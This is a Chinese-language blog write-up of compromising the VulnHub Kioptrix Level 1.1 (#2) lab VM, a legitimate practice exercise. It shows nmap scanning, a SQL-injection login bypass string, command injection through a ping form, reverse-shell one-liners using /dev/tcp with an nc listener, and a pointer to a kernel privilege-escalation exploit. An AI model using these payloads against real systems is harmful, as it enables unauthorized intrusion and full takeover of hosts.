[資訊安全] VulnHub – Kioptrix Level 1.1 (#2) Write-up

Photo by Josue Valencia on Unsplash

最近不斷的在尋找資安相關的練習,也突然想到之前寫過解的 VulnHub 文章,題目是 Kioptrix Level 1.1 (#2) ,由於當時邊解邊筆記,僅僅寫在 Hackmd 上,現在稍作整理並且把內容公布出來,其實解法也跟大多數人相同,就當是讓站長把 Hackmd 上的筆記丟過來唄。

建置靶機

首先建置上花了不少時間,主要原因是官方提供的虛擬設備有把網卡設定為「Bridged」模式,但攻擊機要與靶機存在同往段才行,預設 Bridged 應該是沒什麼問題,只是當下的環境是每台電腦限制一組 IP,並非 DHCP 環境,所以必須改為 NAT 才行。

經過幾次修改,開機之後不曉得什麼原因,設備會自行切換成「Bridged」,數次嘗試之後,將原先的網卡移除,新增新的網卡上去才成功。

尋找靶機

既然已經將攻擊機、靶機建置在同網段下了,還是需要尋找一下靶機確切的 IP 位置,首先要先得知道自己的 IP 位置,使用指令 ip -c a,如下(反白處為本機IP),得到 192.168.147.133

接著可以透過 nmap 工具找尋靶機所在位置,指令 nmap -F 192.168.147.0/24,接著找到 192.168.147.134,猜想應該是為 Kioptrix 的靶機 IP。

find Kioptrix Level 1.1 (#2) ip and ports
find Kioptrix Level 1.1 (#2) ip/ports

資訊蒐集

首先知道該靶機有以下的 Port:

  1. 22
  2. 80
  3. 111
  4. 443
  5. 631
  6. 3306

尋找破口

普遍的 80、443 為 HTTP(s),可以直接透過瀏覽器連上去,如下。

find Kioptrix Level 1.1 (#2) Web Page

是一個簡單的登入頁面,直覺性的嘗試使用 SQL-Injection 進行登入。

User: ' or 1 = 1 #-- -
Password: 123456

結果一試就進去了,隨之而來的是一個提供 ping 功能的頁面,很直接的就聯想到 Command-Injection,也接著著手嘗試。

果不其然,提交參數為 ;ls 時,輸出了該目錄下的檔案清單。

find Kioptrix Level 1.1 (#2) command injection

有這樣的 cmd-i 其實就可以直接上 Reverse shell 了,但該部分的技術並沒有實際操作過,先是找了許多資料。

  1. Reverse Shell Cheat Sheet
  2. What is a reverse shell?

主要得到的方法如下:

Server

nc -lvp 8888

參數部分,透過 man nc 檢視。

-l      Used to specify that nc should listen for an incoming connection rather than initi‐
             ate a connection to a remote host.  The destination and port to listen on can be
             specified either as non-optional arguments, or with options -s and -p respctively.
             It is an error to use -l in conjunction with the -z option.  Additionally, any time‐
             outs specified with the -w option are ignored.
-v      Have nc give more verbose output.
-p source_port
        Specifies the source port nc should use, subject to privilege restrictions and
             availability.

Client

bash -i >& /dev/tcp/192.168.147.133/8888 0>&1

主要可以得到:

bash -i >&amp;/dev/tcp/<IP>/<PORT> 0>&amp;1

在攻擊靶機之前,在本地端以 127.0.0.1 進行測試,發現會有連上即斷線的問題,隨即尋找解決方法,或是替代方案。

最後改由使用 sh 而非網路上提供多數方法使用 bash

sh -i >&amp; /dev/tcp/192.168.147.133/8888 0>&amp;1

Reverse Shell 補充

bash -i >&amp;
/dev/tcp/<IP>/<PORT>
0>&amp;1

簡單解析一下該語句:
首先使用 bash 其參數為 i,透過指令 man bash 可以找到相關的參數意義。

-i    If the -i option is present, the shell is interactive.

簡單的說就是交互模式 interactive,隨後認識後方的 /dev/tcp/<IP>/<PORT>

  1. linux中的一个特殊文件:/dev/tcp

了解之後,該 /dev/tcp 文件,可以很方便的建立 socket 連線,再加上 bash -i 的交互模式,便可以從遠端操作指令,而後方的 0>&1,之前也有寫過一篇文章探討 2>&1([學習筆記] Linux Command 「2>&1」 輕鬆談)

Get Root

目前已經成功取得 Shell 了,但使用者是 apache,至於要什麼取得 root 呢?

首先還是蒐集資料:

lsb_release -a

可以得到作業系統版本是 CentOS 4.5,發現版本相當的老舊,一定有許多可以利用的 exploit,直接上 Google 下關鍵字 CentOS 4 4.5 exploit

找到以下兩個符合條件的 Exploit(CVE-2009-2692):

  1. https://www.exploit-db.com/exploits/9479
  2. https://www.exploit-db.com/exploits/9545

這部分使用第一個「Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox 4 / CentOS 4) – ‘sock_sendpage()’ Ring0 Privilege Escalation (5)」。

其先將檔案下載到主機上,並且使用 gcc 編譯,並且執行取得 root。


發佈留言

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料